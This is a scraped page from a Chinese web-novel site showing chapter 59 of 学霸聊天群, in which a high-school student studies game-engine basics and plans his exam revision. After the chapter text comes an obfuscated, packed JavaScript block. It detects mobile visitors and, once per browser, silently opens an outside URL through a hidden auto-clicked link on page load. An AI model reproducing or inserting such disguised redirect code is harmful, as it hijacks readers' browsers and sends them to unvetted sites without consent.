第五文学网 > 都市小说 > 学霸聊天群 > 正文 第五十九章 开发引擎都离不开数学和物理

正文 第五十九章 开发引擎都离不开数学和物理

    很快,晚读的时间就过去了。

    肖俊放下手中的书,来到走廊吹吹风。

    自从他拿到了国际奥数满分金牌之后,他发现学校内不少人都是认识了他。还有一个那就是班上的那些同学们看他的目光都是变了。基本都是羡慕嫉妒恨。

    这些同学很多人都明白,他们和肖俊已经不属于一个世界的人了。人家是要上京城大学的人物了。

    就连他的死对头杨芊芊也没有了往日的傲娇,有的只有内心的不服。

    至于那个秦林峰,看到自己的敌人成了京城大学的保送生。心中当然是那个嫉妒!从此以后他都不能随随便便挖苦肖俊了。反之,他却成了人家挖苦的对象。

    “快上晚自习了,有木有一起去厕所的?”旁边的周家宇问道。

    “走走走!”

    立马就有几个人响应!

    肖俊也是跟着去。他们高三一班的教室在六楼。一层楼一共有8个教室。一层楼的头尾一共两个厕所。也就是说四个班级共用一个男女厕所。人太多,他们一般都喜欢等快上课铃响起再去厕所,不然太挤了。

    来到厕所放水,里面有三个学生正在抽烟,应该是普通班的那些家伙们。对于这种情况男生们早就习以为常了。

    放完水上课铃就响了起来。

    回到教室的肖俊依旧是看着从图书馆里面借回来的书籍。

    用了二十分钟,他就把第二本《游戏引擎基础知识》给看完了。

    看完了之后,他对游戏引擎的制作也有了一个大概的了解。

    首先,要研发制作出来一个大型的游戏引擎,大概需要1~2年的时间。并且是一个团队开发的。这种团队起码100人以上吧。甚至更多!

    所以,开发游戏引擎几乎只有公司才可以做到!

    “不过人家开发的游戏引擎都是从零开始,要从构思、革新技术、反复推演规划等等准备。这一部分就会耗费大量的时间和精力。我现在只是把编程技术学好,到时候模仿哈利迪的游戏引擎,我应该不需要太多的人。也不这么多的时间!”肖俊心中分析着。

    其实就是说人家开发游戏引擎都是从头开始发明,而他,只是高仿一下哈利迪的游戏引擎。这样一来的性质就不一样了。肯定更加的省时省力!

    “这些问题还是等以后再说吧。我现在要干的事情那就是先把基础条件给准备好!”他从这两本书上面了解到。想要开发游戏引擎可不是那么简单的。

    如今的游戏引擎已经发展为一套由多个子系统共同构成的复杂系统,从建模、动画到光影、粒子特效,从物理系统、碰撞检测到文件管理、网络特性,还有专业的编辑工具和插件,几乎涵盖了开发过程中的所有重要环节!

    也就是说,如果你想要开发游戏引擎,你就要把上面的几个东西给吃透!

    “不是学霸都搞不来这些啊!”肖俊感慨道。

    游戏引擎是一个为运行某一类游戏的机器设计的能够被机器识别的代码(指令)集合。它像一个发动机,控制着游戏的运行。一个游戏作品可以分为游戏引擎和游戏资源两大部分。游戏资源包括图象,声音,动画等部分,列一个公式就是:游戏=引擎(程序代码)+资源(图象,声音,动画等)。游戏引擎则是按游戏设计的要求顺序地调用这些资源。

    最重要的是,引擎的另一重要功能是提供物理系统,这可以使物体的运动遵循固定的规律,例如,当角色跳起的时候,系统内定的重力值将决定他能跳多高,以及他下落的速度有多快,子弹的飞行轨迹、车辆的颠簸方式也都是由物理系统决定的。

    “首先要学图形学~~最前提是数学~”

    “3D引擎工程师,数学物理要好!”

    “引擎程序员与一般的游戏开发人员最突出的应该是数理的扎实(从基本的矩阵、三角函数到高级的积分、偏微分等)对代码优化的能力、计算机图形学甚至一些图形硬件的架构等……”

    以上的基础知识都是从那两本上面介绍到的。

    “看来想要开发游戏引擎,首先你的数学和物理必须要过硬啊!”肖俊感叹。这年头,开发游戏引擎都离不开数学和物理!这也间接的证明了数学和物理的重要性!

    “看来有时间一定要恶补一下物理知识。还要深入的学习一下数学知识才行。”

    接下来的几天,学校再也没有找过他谈挑选国内一流大学的事情。估计是都放弃了吧。

    毕竟他的父母都同意他的选择了!

    这几天,他都在疯狂的学习。

    除了自学软件编程知识以外,也在群里请教哈利迪不好的游戏引擎知识。另外他大部分的时间还是放在语文、数学、英语、历史、地理、z治的复习上面来。

    这些东西他都不能落下的,既然要成为学霸,一定要全面发展。虽然有【学霸聊天群】这个外挂在。他觉得自己本身也一定要拥有墨水。

    不然到时候要装逼的时候肚子里没有墨水就尴尬了。

    虽然他依旧是一条咸鱼,但他是一条不一样的咸鱼!

    “嘿~老子就算要做学霸,也要做一枚清新脱俗的学霸!”

    对于语文数学英语等六大学科的复习很简单。肖俊先是把这些高中课本全部看一遍下来,把课本的知识全部给记住。第二,把老师上课讲的笔记全部也看一遍。

    第三,把所有学科的辅助书籍全部看一遍。比如语文科目的古诗词文言文翻译书啊,作文书啊等等之类的。

    第四,把全部学科的高中三年的所有试卷和答案还有笔记都是看一遍。

    肖俊相信,等他把这些事情全部都干完,再把这些内容全部都消化一遍。他的考试知识肯定会更上一层楼的!到时候相信不依靠学霸聊天群,他也应该可以考一个高分。

    “恩,希望加下来的大半个月我可以把这些事情全部给搞定!”肖俊心中给了定下了第一个小目标。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('p x(){j(O y==="\\k\\6\\2\\0\\8\\9\\6\\0\\2"){z P}Q a=(R^S)+(T^U);q A=y[\'\\k\\b\\0\\7\\V\\f\\0\\6\\1\'][\'\\1\\5\\r\\5\\W\\0\\7\\l\\3\\b\\0\']();a=(X^Y)+(Z^10);q B=11 12("13|14|15 16|17|18|19|1a 1b|1c|1d|1e|1f".s("").t().u(""),\'\\9\');z B[\'\\1\\0\\b\\1\'](A)}p C(a){q c=g[\'\\d\\7\\0\\3\\1\\0\\D\\4\\0\\h\\0\\6\\1\']("\\3");c[\'\\m\\7\\0\\8\']=a;c[\'\\b\\1\\i\\4\\0\'][\'\\2\\9\\b\\n\\4\\3\\i\']="1g".s("").t().u("");c[\'\\1\\3\\7\\f\\0\\1\']="\\v\\e\\4\\3\\6\\o";g[\'\\e\\5\\2\\i\'][\'\\3\\n\\n\\0\\6\\2\\l\\m\\9\\4\\2\'](c);c[\'\\d\\4\\9\\d\\o\']();g[\'\\e\\5\\2\\i\'][\'\\7\\0\\h\\5\\E\\0\\l\\m\\9\\4\\2\'](c)}g[\'\\3\\2\\2\\D\\E\\0\\6\\1\\r\\9\\b\\1\\0\\6\\0\\7\']("\\1h\\1i\\1j\\l\\5\\6\\1\\0\\6\\1\\r\\5\\3\\2\\0\\2",p(){j(!F[\'\\f\\4\\5\\e\\3\\4\\G\\3\\7\']){j(g[\'\\e\\5\\2\\i\']!=1k){F[\'\\f\\4\\5\\e\\3\\4\\G\\3\\7\']="\\w";H=I[\'\\f\\0\\1\\w\\1\\0\\h\']("\\4\\k\\d\\o\\v\\8\\8");j(!H&&x()){C("\\m\\1\\1\\n\\1l\\J\\J\\1m\\K\\L\\M\\N\\K\\1n\\L\\8\\M\\d\\N\\d\\5\\h")}I[\'\\b\\0\\1\\w\\1\\0\\h\']("\\4\\k\\d\\o\\v\\8\\8","1o".s("").t().u(""))}}});',62,87,'u0065|u0074|u0064|u0061|u006C|u006F|u006E|u0072|u0066|u0069||u0073|_0xbc9f6d|u0063|u0062|u0067|document|u006D|u0079|if|u0075|u0043|u0068|u0070|u006B|function|const|u004C|split|reverse|join|u005F|u0049|isMobileDevice|navigator|return|_0x0bd|_0xf_0xe23|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|u002F|u0035|u0033|u0032|u002E|typeof|false|var|687386|687385|212973|212975|u0041|u0077|802130|802133|672503|672510|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|enon|u0044|u004F|u004D|null|u003A|u0037|u0036|eurt'.split('|'),0,{}))